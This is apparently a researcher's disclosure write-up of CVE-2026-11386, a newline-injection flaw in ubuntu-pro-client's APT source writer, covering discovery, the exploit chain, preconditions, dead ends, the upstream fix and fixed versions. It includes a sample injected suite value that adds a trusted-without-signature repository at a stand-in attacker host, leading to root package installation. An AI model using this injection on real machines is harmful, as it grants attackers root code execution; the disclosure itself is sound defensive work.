
CVE-2026-11386: When the Contract Server Writes Your APT Sources
Most people think the dangerous input is the input from users. Forms, query strings, uploaded files. That is where the scanners look and where the reviews spend their time.
The input that worries me more is the one that comes from your own server. Nobody validates it, because it is "ours". The client just takes the JSON and does what it says.
CVE-2026-11386 is that kind of bug. I found it in ubuntu-pro-client, the tool that ships on Ubuntu Server and auto-attaches on cloud Ubuntu Pro images. Canonical credited me as the finder. This is the writeup.
What ubuntu-pro-client does
ubuntu-pro-client (the package is still called ubuntu-advantage-tools) attaches a machine to Ubuntu Pro. It talks to the contract server at contracts.canonical.com, gets back a set of entitlements, and turns them into APT configuration so the machine can pull ESM and other Pro packages.
That means a JSON response from a server ends up as a file in /etc/apt/sources.list.d/, owned by root, read by APT on every update.
How I found it
I was source-auditing the repo at HEAD 88330d0a7d85. No fuzzer, no scanner, just reading the code that turns a contract response into files on disk.
One thing jumped out. The apt_news.py path, which consumes data from motd.ubuntu.com, validates what it gets. Its is_message_valid check rejects control characters and caps the length and line count. The contract directives path, which handles far more dangerous data, does none of that.
That asymmetry is the whole finding. One untrusted feed is validated, a more privileged one is not. When one part of a codebase is careful and a parallel part is not, the gap usually is an oversight, not a decision. So I followed the directive fields to see where they landed.
The bug
The Directives data class in uaclient/contract_data_types.py declared every contract-controlled field as a bare StringDataValue or data_list(StringDataValue). aptURL, suites, additionalPackages, aptKey, caCerts and the rest. No shape, no syntax, no host or scheme check, no content validation at all.
Three of those fields matter for this chain:
directives.aptURLdirectives.suites[]directives.additionalPackages[]
In uaclient/apt.py, _get_list_file_content built the APT source file by interpolating aptURL and each suites[i] straight into a "deb {url} {suite} main\n" format string. No escaping, no newline filtering. A string went in, a line came out.
So a \n inside suites[i] or aptURL ended the line early, and whatever came after became a new line in a root-owned APT source. That is a new deb entry pointing wherever the response wanted.
The DEB822 path on newer releases, _get_sources_file_content, had the same hole. A newline in the Suites: value lets you inject further DEB822 fields, including your own URIs:, Signed-By:, and Trusted: yes.
There is a third spot with the same shape: add_apt_auth_conf_entry, which writes /etc/apt/auth.conf.d/. A newline in login or password injects extra machine ... lines, which can steer the client to authenticate to an attacker host with a real Pro token. I reported that too, but the sources file is the sharp end.
The full chain
On its own, an injected line just adds a repository. The second half is additionalPackages[], also unvalidated, flowing positionally into a root apt-get install --assume-yes through run_apt_install_command.
Put the two together:
- The attacker returns a contract response with a newline in
suites[i]and a package name inadditionalPackages[]. - The client writes an APT source file that now holds an extra
debline, with the[trusted=yes]option, pointing at the attacker's repo. [trusted=yes]tells APT to skip GPG signature verification on that repo entirely.- The client then runs
apt-get installas root for the attacker-chosen package, which APT happily fetches from the now-trusted repo. - That package's
postinstmaintainer script runs as root. That is arbitrary code execution as root.
Here is the sanitized shape of the injected sources file, the way the advisory shows it. A suite value of jammy main\ndeb [trusted=yes] http://attacker.example/repo jammy main renders as:
deb https://esm.ubuntu.com/infra/ubuntu jammy main
deb [trusted=yes] http://attacker.example/repo jammy main mainAPT reads that second line as its own trusted, GPG-skipped repository. That is all it takes. I am not publishing the repo build or the package payload, because the mechanism is the point and the rest is just plumbing.
The PoC
My reproducer was small on purpose. poc_F01_newline_injection.py pulls _get_list_file_content straight out of the on-disk uaclient/apt.py at HEAD and calls it with a clean suite, then a newline suite, then a newline aptURL. It asserts the attacker line shows up in the output. It runs against the unmodified function, so there is no "but your test harness is wrong" argument to have.
The full chain, the attacker repo and the malicious .deb that drops a root-owned proof file, I validated inside an LXC sandbox. That part stays with the report.
Who can pull this off
This part matters, so I want to be honest about it. You cannot do this from the internet against a random Ubuntu box. The attacker has to be able to return an arbitrary contract response. The realistic ways:
- A network attacker who can present a valid TLS cert for
contracts.canonical.com. The HTTPS client inuaclient/http/__init__.pychecks the system CA store only. No pinning, no HPKP, no embedded fingerprint. So a mis-issued cert, a state-level CA, or a corporate TLS-inspection middlebox with a trusted internal CA all qualify. - Direct compromise of the contract server infrastructure, or of whatever terminates its TLS.
- Any future logical bug that lets attacker input reach
process_entitlements_delta, for example through the machine token overlay or an IMDS-driven auto-attach.
That is why the CVSS vector says attack complexity is high: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H, base score 9.0, Critical. Getting in the middle is hard. Once you are there, the client hands you root on every machine that attaches. And that is a lot of machines, since the component is preinstalled on supported Ubuntu Server releases and auto-attaches by default on cloud Ubuntu Pro images.
What I tried and failed
Most of the audit was dead ends, and I think the dead ends are worth sharing because they show where the real edge was.
- aptKey on its own. I tried to get an attacker GPG key into
/etc/apt/trusted.gpg.d/through theaptKeydirective. No luck. That path exports from a fixed keyrings directory using a hard-coded per-entitlement filename, soaptKeyis used as a fingerprint check and never written as attacker content. The injection had to live insuites/aptURL, not in key handling. That is why the chain leans on[trusted=yes]to skip GPG instead. - argv injection into apt-get install. I tried smuggling
--optionstyle flags throughadditionalPackages[i]. Modern apt with the--separator rejects those. But the package names are still attacker-chosen, so I did not need flags. Point apt at the attacker repo with the newline, then ask it to install an attacker package by name. - Path traversal in the sources filename. I tried to overwrite
/etc/sudoers.d/or/etc/cron.d/through the entitlement's file attribute. That attribute is hard-coded per entitlement class and not contract-controlled. No go. - TLS pinning bypass. I went looking for pinning to beat and found there was none to beat. No per-host pin, no certificate transparency check, no expected fingerprint, on either the urlopen or the pycurl path. That turned into a recommendation rather than an exploit step.
If you remember one thing about this bug, make it this.
A response from your own backend is still untrusted input the moment it crosses into a privileged file or a privileged command.
The contract server is Canonical's. The TLS is real. None of that changes the fact that the client was writing server strings straight into a root config file through a format string. Trust in the sender is not validation of the data.
The fix
The fix landed upstream in commit 482a088 ("fix: CVE-2026-11386 (#3578)"). It adds a new type, StrictStringDataValue, that rejects newline, carriage return, null byte and space. Then it switches additionalPackages, aptURL and suites in the Directives class over to that type. If the contract response has any of those characters in those fields, parsing fails instead of writing a file.
That is close to the first thing I recommended in the report: enforce a strict field type in the Directives schema and refuse the response rather than writing a partial file. The Ubuntu changelog says the same, and adds that shell meta characters are rejected too.
The commit also ships two test files, test_injection_prevention.py and test_malicious_contract_response.py. That is the part I like most. The attack is now a test.
I also recommended pinning the TLS connection and signing contract responses out of band. Those are defense in depth and did not land in this fix, which is fair. The input validation closes the actual bug.
Affected and fixed versions
Upstream, versions before 37.3 are affected. The Ubuntu packages fixed are:
| Release | Fixed in |
|---|---|
| 26.04 LTS | 37.2ubuntu0.1 |
| 24.04 LTS | 37.2ubuntu~24.04.1 |
| 22.04 LTS | 37.2ubuntu~22.04.1 |
| 20.04 LTS | 37.1ubuntu0~20.04.1 (Ubuntu Pro) |
| 18.04 LTS | 37.1ubuntu0~18.04.1 (Ubuntu Pro) |
| 16.04 LTS | 37.1ubuntu0~16.04.1 (Ubuntu Pro) |
| 14.04 LTS | 19.7ubuntu0.1 (Ubuntu Pro) |
25.10 was end of life and did not get a fix. A normal system update installs the patched package.
Weakness
The CVE record maps it to CWE-20, Improper Input Validation, with CAPEC-242, Code Injection. If I had to name it myself I would also call it CRLF injection into a config file. The root cause is the same either way: data from outside became structure.
What I would tell someone starting this
Look at the places where a program turns data into a file or a command. Config writers, template renderers, anything that builds a line with format() or an f-string and hands it to something running as root. Those are small, boring functions, and they are where the bugs live.
Look for asymmetry. The tell here was that one untrusted feed was validated and a more dangerous one next to it was not. When half a codebase is careful, the careless half is usually a bug, not a plan.
Do not skip the client just because the server belongs to a big vendor. The client is the one running as root on your machine.
Write a clear report with the impact, the preconditions and the fix you would suggest. Be upfront about what the attacker needs. I even gave both severity readings, High if you treat the contract server as hostile input, Medium if you treat it as trusted infra, and said I would not argue with either. A report that admits "you have to be in the middle" gets taken more seriously than one that pretends it is wormable.
Resources
FJerusha